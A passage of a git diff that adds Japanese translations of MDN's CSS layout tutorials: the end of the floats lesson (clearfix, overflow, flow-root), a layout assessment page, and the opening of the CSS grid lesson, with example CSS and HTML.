notranslate">.wrapper::after { + content: ""; + clear: both; + display: block; +}</pre> + +<p>ページをリロードすると、ボックスはクリアされます。 これは、項目の下に <code><div></code> などの HTML 要素を追加して <code>clear: both</code> に設定した場合と基本的に同じです。</p> + +<div id="Float_5"> +<div class="hidden"> +<h6 id="Float_Example_5">Float Example 5</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> +<div class="wrapper"> + <div class="box">Float</div> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; +} + +.box { + float: left; + margin: 15px; + width: 150px; + height: 150px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} + +.wrapper::after { + content: ""; + clear: both; + display: block; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Float_5', '100%', 600) }}</p> + +<h3 id="Using_overflow" name="Using_overflow">オーバーフローを使用する</h3> + +<p>別の方法は、<code>wrapper</code> の {{cssxref("overflow")}} プロパティを <code>visible</code> 以外の値に設定することです。</p> + +<p>前のセクションで追加した clearfix の CSS を削除し、代わりに <code>wrapper</code> の規則に <code>overflow: auto</code> を追加してください。 前と同じように、ボックスはクリアされます。</p> + +<pre class="brush: css notranslate">.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; + overflow: auto; +}</pre> + +<div id="Float_6"> +<div class="hidden"> +<h6 id="Float_Example_6">Float Example 6</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> +<div class="wrapper"> + <div class="box">Float</div> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; + overflow: auto; +} + +.box { + float: left; + margin: 15px; + width: 150px; + height: 150px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Float_6', '100%', 600) }}</p> + +<p>この例は、<a href="/ja/docs/Web/Guide/CSS/Block_formatting_context">ブロック整形コンテキスト</a>（<strong>block formatting context</strong>、BFC）と呼ばれるものを作成することによって機能します。 これはページの中にあるミニレイアウトのようなもので、その中にすべてが含まれているので、浮動要素は BFC の中に含まれ、背景は両方の項目の背後にあります。 これは通常はうまくいきますが、場合によっては、オーバーフローを使用することによる意図しない結果が原因で、不要なスクロールバーや切り取られた影が見つかることがあります。</p> + +<h3 id="display_flow-root" name="display_flow-root">display: flow-root</h3> + +<p>この問題を解決する現代的な方法は、<code>display</code> プロパティの <code>flow-root</code> という値を使うことです。 これはハックを使用せずに BFC を作成するためだけに存在します — それを使用しても意図しない結果が生じることはありません。 <code>.wrapper</code> 規則から <code>overflow: auto</code> を削除し、<code>display: flow-root</code> を追加してください。 これを<a href="/ja/docs/Web/CSS/display#Browser_compatibility">サポートするブラウザー</a>を持っていると仮定すると、ボックスはクリアされます。</p> + +<pre class="brush: css notranslate">.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; + display: flow-root; +}</pre> + +<div id="Float_7"> +<div class="hidden"> +<h6 id="Float_Example_7">Float Example 7</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> +<div class="wrapper"> + <div class="box">Float</div> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; + display: flow-root; +} + +.box { + float: left; + margin: 15px; + width: 150px; + height: 150px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Float_7', '100%', 600) }}</p> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？次に移動する前に、この情報を保持しているか検証するテストがあります — <a href="/ja/docs/Learn/CSS/CSS_layout/Floats_skills">Test your skills: Floats</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>あなたは今、現代のウェブ開発でフロートについて知っておくべきことがすべてわかっています。 過去のレイアウト方法の使用方法については、<a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a>に関する記事を参照してください。 古いプロジェクトで作業している場合に便利です。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/fundamental_layout_comprehension/index.html b/files/ja/learn/css/css_layout/fundamental_layout_comprehension/index.html new file mode 100644 index 0000000000..42e19361bc --- /dev/null +++ b/files/ja/learn/css/css_layout/fundamental_layout_comprehension/index.html @@ -0,0 +1,91 @@ +--- +title: 基礎的なレイアウトの理解 +slug: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension +tags: + - Assessment + - Beginner + - CSS + - Layout + - Learn +translation_of: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary"><span class="seoSummary">このモジュールを乗り越えてきたならば、今日 CSS レイアウトを行うために知っておくべきことや、より古い CSS を使って作業するために必要なことの基本についてはすでに説明しているはずです。 このタスクでは、さまざまなテクニックを使用して簡単なウェブページレイアウトを作成することによって、あなたの知識の一部をテストします。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>この評価を試みる前に、このモジュールのすべての記事を読んでおくべきです。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>このモジュールで説明してきた基本的なレイアウトスキルの理解をテストすること。</td> + </tr> + </tbody> +</table> + +<h2 id="Project_Brief" name="Project_Brief">プロジェクトの概要</h2> + +<p>生の HTML、基本的な CSS、そして画像が提供されています — これで、次の画像にそっくりなデザインのレイアウトを作成する必要があります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16076/layout-task-complete.png" style="height: 706px; width: 1000px;"></p> + +<h3 id="Basic_Setup" name="Basic_Setup">基本設定</h3> + +<p>HTML、CSS、および6枚の画像を<a href="https://github.com/mdn/learning-area/tree/master/css/css-layout/fundamental-layout-comprehension">ここからダウンロード</a>できます。</p> + +<p>HTML ドキュメントとスタイルシートをコンピュータ上のディレクトリに保存し、画像を <code>images</code> という名前のフォルダに追加します。 ブラウザーで <code>index.html</code> ファイルを開くと、次の画像のような基本的なスタイルは設定されているがレイアウトが設定されていないページが表示されます。</p> + +<p>この出発点には、通常フローでブラウザーに表示されるレイアウトのすべての内容が含まれています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16075/layout-task-start.png" style="height: 675px; width: 1000px;"></p> + +<h3 id="Your_tasks" name="Your_tasks">あなたのタスク</h3> + +<p>あなたは今レイアウトを実装する必要があります。 達成する必要があるタスクは次のとおりです。</p> + +<ol> + <li>ナビゲーション項目を、項目間に等間隔のスペースを置いて、1行に並べて表示します。</li> + <li>ナビゲーションバーはコンテンツと一緒にスクロールし、ビューポートの上部に到達するとそこに固定されるべきです。</li> + <li>記事の中にある画像は、それを囲むテキストを持つべきです。</li> + <li>{{htmlelement("article")}} 要素と {{htmlelement("aside")}} 要素は、2列のレイアウトとして表示するべきです。 ブラウザーウィンドウが小さくなると列が狭くなるように、列は柔軟なサイズにするべきです。</li> + <li>写真は、画像間に1ピクセルの間隔を空けて2列のグリッドとして表示するべきです。</li> +</ol> + +<p>このレイアウトを実現するために HTML を編集する必要はなく、使用するべきテクニックは次のとおりです。</p> + +<ul> + <li>位置指定</li> + <li>フロート</li> + <li>フレックスボックス</li> + <li>CSS グリッドレイアウト</li> +</ul> + +<p>これらのタスクのいくつかを達成することができるいくつかの方法があり、物事を行うための唯一の正しい方法も間違った方法も、多くの場合ありません。 いくつかの異なる方法を試して、どれが最もうまくいくかを確かめてください。 実験しながらメモを取ってください。 この演習のディスカッションスレッドまたは <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで、自分のアプローチについて常に議論することができます。</p> + +<h2 id="Assessment" name="Assessment">評価</h2> + +<p>組織的コースの一環としてこの評価に従っている場合は、採点のために作品を教師や指導者に渡すことができるはずです。 自己学習をしている場合は、<a href="https://discourse.mozilla.org/t/fundamental-layout-comprehension-assessment/29982">この演習についてのディスカッションスレッド</a>や <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、かなり簡単に採点の手引きを得ることができます。 まず演習を試してみてください — 不正行為によって得られるものは何もありません！</p> + +<div>{{PreviousMenu("Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</div> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/grids/index.html b/files/ja/learn/css/css_layout/grids/index.html new file mode 100644 index 0000000000..d7ca3601c3 --- /dev/null +++ b/files/ja/learn/css/css_layout/grids/index.html @@ -0,0 +1,722 @@ +--- +title: グリッド +slug: Learn/CSS/CSS_layout/Grids +tags: + - Article + - Beginner + - CSS + - CSS Grids + - CodingScripting + - Grids + - Guide + - Layout + - Learn + - Tutorial + - grid design + - grid framework + - grid system +translation_of: Learn/CSS/CSS_layout/Grids +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary"><span class="seoSummary">CSS グリッドレイアウト（Grid Layout）は、ウェブ用の2次元レイアウトシステムです。 これにより、コンテンツを行と列にレイアウトすることができ、複雑なレイアウトを簡単に構築できるようにする多くの機能があります。 この記事では、ページレイアウトを始めるために知っておくべきことをすべて説明します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>と<a href="/ja/docs/Learn/CSS/Styling_boxes">ボックスの装飾</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>グリッドレイアウトシステムの背後にある基本概念と、CSS グリッドを使用してグリッドレイアウトを実装する方法を理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_grid_layout" name="What_is_grid_layout">グリッドレイアウトとは？</h2> + +<p>グリッドとは、水平方向と垂直方向のラインを集めたもので、デザイン要素を並べて表示することができます。 ページ間を移動するときに要素が跳び回ったり幅が変わったりしないようなデザインを作成するのに役立ちます。 これにより、ウェブサイトの一貫性が向上します。</p> + +<p>グリッドには通常、列（<strong>column</strong>）、行（<strong>row</strong>）、そしてそれぞれの行と列の間のギャップ（通常はガター（<strong>gutter</strong>）と呼ばれます）があります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13899/grid.png" style="display: block; height: 553px; margin: 0px auto; width: 1196px;"></p> + +<h2 id="Creating_your_grid_in_CSS" name="Creating_your_grid_in_CSS">CSS でグリッドを作りましょう</h2> + +<p>デザインに必要なグリッドを決定したら、CSS グリッドレイアウトを使用して CSS でそのグリッドを作成し、その上に項目を配置できます。 最初にグリッドレイアウトの基本機能を見てから、プロジェクト用のシンプルなグリッドシステムを作成する方法を探ります。</p> + +<p>The following video provides a nice visual explanation of using CSS Grid:</p> + +<p>{{EmbedYouTube("KOvGeFUHAC0")}}</p> + +<h3 id="Defining_a_grid" name="Defining_a_grid">グリッドを定義する</h3> + +<p>出発点として、テキストエディタとブラウザーで<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/0-starting-point.html">出発点ファイル</a>をダウンロードして開きます（<a href="https://mdn.github.io/learning-area/css/css-layout/grids/0-starting-point.html">ここでライブを見る</a>こともできます）。 いくつかの子項目を持つコンテナの例が表示されます。 デフォルトではこれらは通常フローで表示されるので、ボックスは上下に表示されます。 このレッスンの最初の部分でこのファイルを使用して、グリッドのふるまいを確認するための変更を加えます。</p> + +<p>グリッドを定義するために、{{cssxref("display")}} プロパティに <code>grid</code> の値を使います。 フレックスボックスと同様に、これによりグリッドレイアウトがオンになり、コンテナの直接の子すべてがグリッド項目になります。 次のものをファイル内の CSS に追加してください。</p> + +<pre class="brush: css notranslate">.container { + display: grid; +}</pre> + +<p>フレックスボックスとは異なり、項目はすぐには違ったようには見えません。 <code>display: grid</code> を宣言すると1列のグリッドになるので、項目は通常フローで表示されるように上下に表示され続けます。</p> + +<p>よりグリッドらしく見せるには、グリッドにいくつかの列を追加する必要があります。 ここに 200 ピクセルの列を3つ追加しましょう。 これらの列トラックを作成するために、任意の長さの単位やパーセントを使用できます。</p> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: 200px 200px 200px; +}</pre> + +<p>CSS 規則に2番目の宣言を追加してからページをリロードすると、作成したグリッドの各セルに項目が1つずつ再配置されていることがわかります。</p> + +<div id="Grid_1"> +<div class="hidden"> +<h6 id="Simple_Grid_Example">Simple Grid Example</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} </pre> + +<pre class="brush: html notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> </pre> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: 200px 200px 200px; +} </pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Grid_1', '100%', 400) }}</p> + +<h3 id="Flexible_grids_with_the_fr_unit" name="Flexible_grids_with_the_fr_unit">fr 単位での柔軟なグリッド</h3> + +<p>長さとパーセントを使用してグリッドを作成するだけでなく、<code>fr</code> 単位を使用して柔軟にグリッドの行と列のサイズを変更できます。 この単位は、グリッドコンテナ内の使用可能スペースの割合を表します。</p> + +<p>トラックのリストを次の定義に変更し、<code>1fr</code> のトラックを3つ作成します。</p> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: 1fr 1fr 1fr; +}</pre> + +<p>あなたは今、柔軟なトラックを持っているのを見るべきです。 <code>fr</code> 単位はスペースを比例して配分するので、トラックには異なる正の値を指定できます。 例えば次のように定義を変更したとします。</p> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; +}</pre> + +<p>最初のトラックの使用可能スペースは <code>2fr</code> になり、他の2つのトラックの使用可能スペースは <code>1fr</code> になり、最初のトラックのサイズが大きくなります。 <code>fr</code> 単位と固定長トラックを混在させることができます — そのような場合、固定長トラックに必要なスペースは、スペースが他のトラックに分配される前に取り除かれます。</p> + +<div id="Grid_2"> +<div class="hidden"> +<h6 id="Simple_Grid_Example_with_fr_units">Simple Grid Example with fr units</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + </pre> + +<pre class="brush: html notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> </pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Grid_2', '100%', 400) }}</p> + +<div class="note"> +<p><strong>注</strong>: <code>fr</code> 単位は、<em>すべて</em>のスペースではなく、<em>使用可能</em>なスペースを分配します。 あなたのトラックの1つがその中に大きな何かを持っているならば、共有する空きスペースは少なくなります。</p> +</div> + +<h3 id="Gaps_between_tracks" name="Gaps_between_tracks">トラック間のギャップ</h3> + +<p>トラック間のギャップを作成するには、列間のギャップには {{cssxref("grid-column-gap")}} プロパティ、行間のギャップには {{cssxref("grid-row-gap")}} プロパティ、両方を同時に設定するには {{cssxref("grid-gap")}} プロパティを使用します。</p> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; + grid-gap: 20px; +}</pre> + +<p>これらのギャップは、長さの単位またはパーセントのいずれでもかまいませんが、<code>fr</code> 単位ではありません。</p> + +<div id="Grid_3"> +<div class="hidden"> +<h6 id="Simple_Grid_Example_with_fr_units_2">Simple Grid Example with fr units</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; + grid-gap: 20px; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + </pre> + +<pre class="brush: html notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Grid_3', '100%', 400) }}</p> + +<div class="note"> +<p><strong>注</strong>: <code>*gap</code> プロパティは以前は <code>grid-</code> という接頭辞を付けていましたが、これは仕様変更されています。 その意図はそれらを複数のレイアウト方法で使えるようにすることです。 接頭辞の付いたバージョンはエイリアスとして保持されるため、しばらくの間は安全に使用できます。 安全のために、コードをより万全にするために、両方のプロパティを倍増して追加することができます。</p> +</div> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; + grid-gap: 20px; + gap: 20px; +}</pre> + +<h3 id="Repeating_track_listings" name="Repeating_track_listings">トラックリストの繰り返し</h3> + +<p>反復記法を使用して、トラックリストの全部または一部を繰り返すことができます。 トラックリストを次のように変更します。</p> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 20px; +}</pre> + +<p>今までと同じ3つの <code>1fr</code> のトラックが手に入ります。 repeat 関数に渡す最初の値はリストを繰り返す回数で、2番目の値はトラックリストで、1つ以上のトラックを繰り返すことができます。</p> + +<h3 id="The_implicit_and_explicit_grid" name="The_implicit_and_explicit_grid">暗黙的グリッドと明示的グリッド</h3> + +<p>ここまでは列トラックのみを指定しましたが、コンテンツを保持するために行が作成されています。 これは明示的グリッド対暗黙的グリッドの例です。 明示的グリッドは、<code>grid-template-columns</code> または <code>grid-template-rows</code> を使用して作成したものです。 暗黙的グリッドは、コンテンツがそのグリッドの外側、例えば行に配置されたときに作成されます。 明示的グリッドと暗黙的グリッドは、フレックスボックスの主軸および交差軸と類似しています。</p> + +<p>デフォルトでは、暗黙的グリッドに作成されたトラックは <code>auto</code> でサイズ調整されます。 これは一般に、コンテンツに合わせて十分に大きいことを意味します。 暗黙的グリッドのトラックにサイズを指定したい場合は、{{cssxref("grid-auto-rows")}} プロパティと {{cssxref("grid-auto-columns")}} プロパティを使用できます。 CSS に <code>100px</code> の値で <code>grid-auto-rows</code> を追加すると、作成された行の高さは 100 ピクセルになります。</p> + +<div id="Grid_4"> +<div class="hidden"> +<h6 id="Simple_Grid_Example_with_fr_units_3">Simple Grid Example with fr units</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} </pre> + +<pre class="brush: html notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> + </pre> +</div> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-auto-rows: 100px; + grid-gap: 20px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Grid_4', '100%', 400) }}</p> + +<h3 id="The_minmax_function" name="The_minmax()_function">minmax() 関数</h3> + +<p>100 ピクセルより高いコンテンツを追加する場合、100 ピクセルの高さのトラックはあまり役に立ちません。 その場合、オーバーフローが発生します。 トラックの高さは<em>最低</em> 100 ピクセルで、さらに多くのコンテンツがトラックに入る場合は拡大できると良いでしょう。 ウェブについてのかなり基本的な事実は、あなたが実際に何かがどれほど高くなるかを本当に知らないということです。 追加のコンテンツや大きなフォントサイズは、あらゆる次元でピクセルパーフェクトになろうとするデザインに問題を引き起こす可能性があります。</p> + +<p>{{cssxref("minmax")}} 関数を使用すると、トラックの最小サイズと最大サイズ、例えば <code>minmax(100px, auto)</code> を設定できます。 最小サイズは 100 ピクセルですが、最大サイズは <code>auto</code> で、コンテンツに合わせて拡大されます。 次のように <code>minmax</code> の値を使用するように <code>grid-auto-rows</code> を変更してみてください。</p> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-auto-rows: minmax(100px, auto); + grid-gap: 20px; +}</pre> + +<p>追加のコンテンツを追加すると、それが収まるようにトラックが拡大されます。 拡張は行に沿って行われることに注意してください。</p> + +<h3 id="As_many_columns_as_will_fit" name="As_many_columns_as_will_fit">収まる限り多くの列</h3> + +<p>トラックリスト、反復記法、{{cssxref("minmax")}} について学んだことのいくつかを組み合わせて、便利なパターンを作成できます。 グリッドに、コンテナに収まるだけの数の列を作成するように依頼できると便利な場合があります。 これを行うには、{{cssxref("repeat")}} 記法を使用して <code>grid-template-columns</code> の値を設定しますが、数値を渡す代わりにキーワード <code>auto-fill</code> を渡します。 関数の2番目のパラメータには、<code>minmax()</code> を使用し、最小値は、必要な最小トラックサイズに等しく、最大値は <code>1fr</code> です。</p> + +<p>以下の CSS を使用して、今すぐあなたのファイルで次を試してください。</p> + +<div id="Grid_5"> +<div class="hidden"> +<h6 id="As_many_columns_as_will_fit_2">As many columns as will fit</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + </pre> + +<pre class="brush: html notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> </pre> +</div> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); + grid-auto-rows: minmax(100px, auto); + grid-gap: 20px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Grid_5', '100%', 400) }}</p> + +<p>これは、グリッドがコンテナに収まるだけの数の 200 ピクセルの列を作成し、その後すべての列の間で残っているスペースを共有するためです — 最大は <code>1fr</code> で、すでにご存じのとおり、トラック間でスペースを均等に配分するためのものです。</p> + +<h2 id="Line-based_placement" name="Line-based_placement">ラインベースの配置</h2> + +<p>グリッドの作成から、グリッド上に物を配置することに移ります。 グリッドは常にラインを持っていて、そのラインは 1 から始まり、文書の書字方向モード（Writing Mode）に関連しています。 したがって、英語では、桁の1ライン目がグリッドの左側にあり、行の1ライン目が一番上にあります。 アラビア語では、アラビア語は右から左に書かれているので、桁の1ライン目が右側になります。</p> + +<p>開始ラインと終了ラインを指定することで、これらのラインに従って物を配置できます。 次のプロパティを使用してこれを行います。</p> + +<ul> + <li>{{cssxref("grid-column-start")}}</li> + 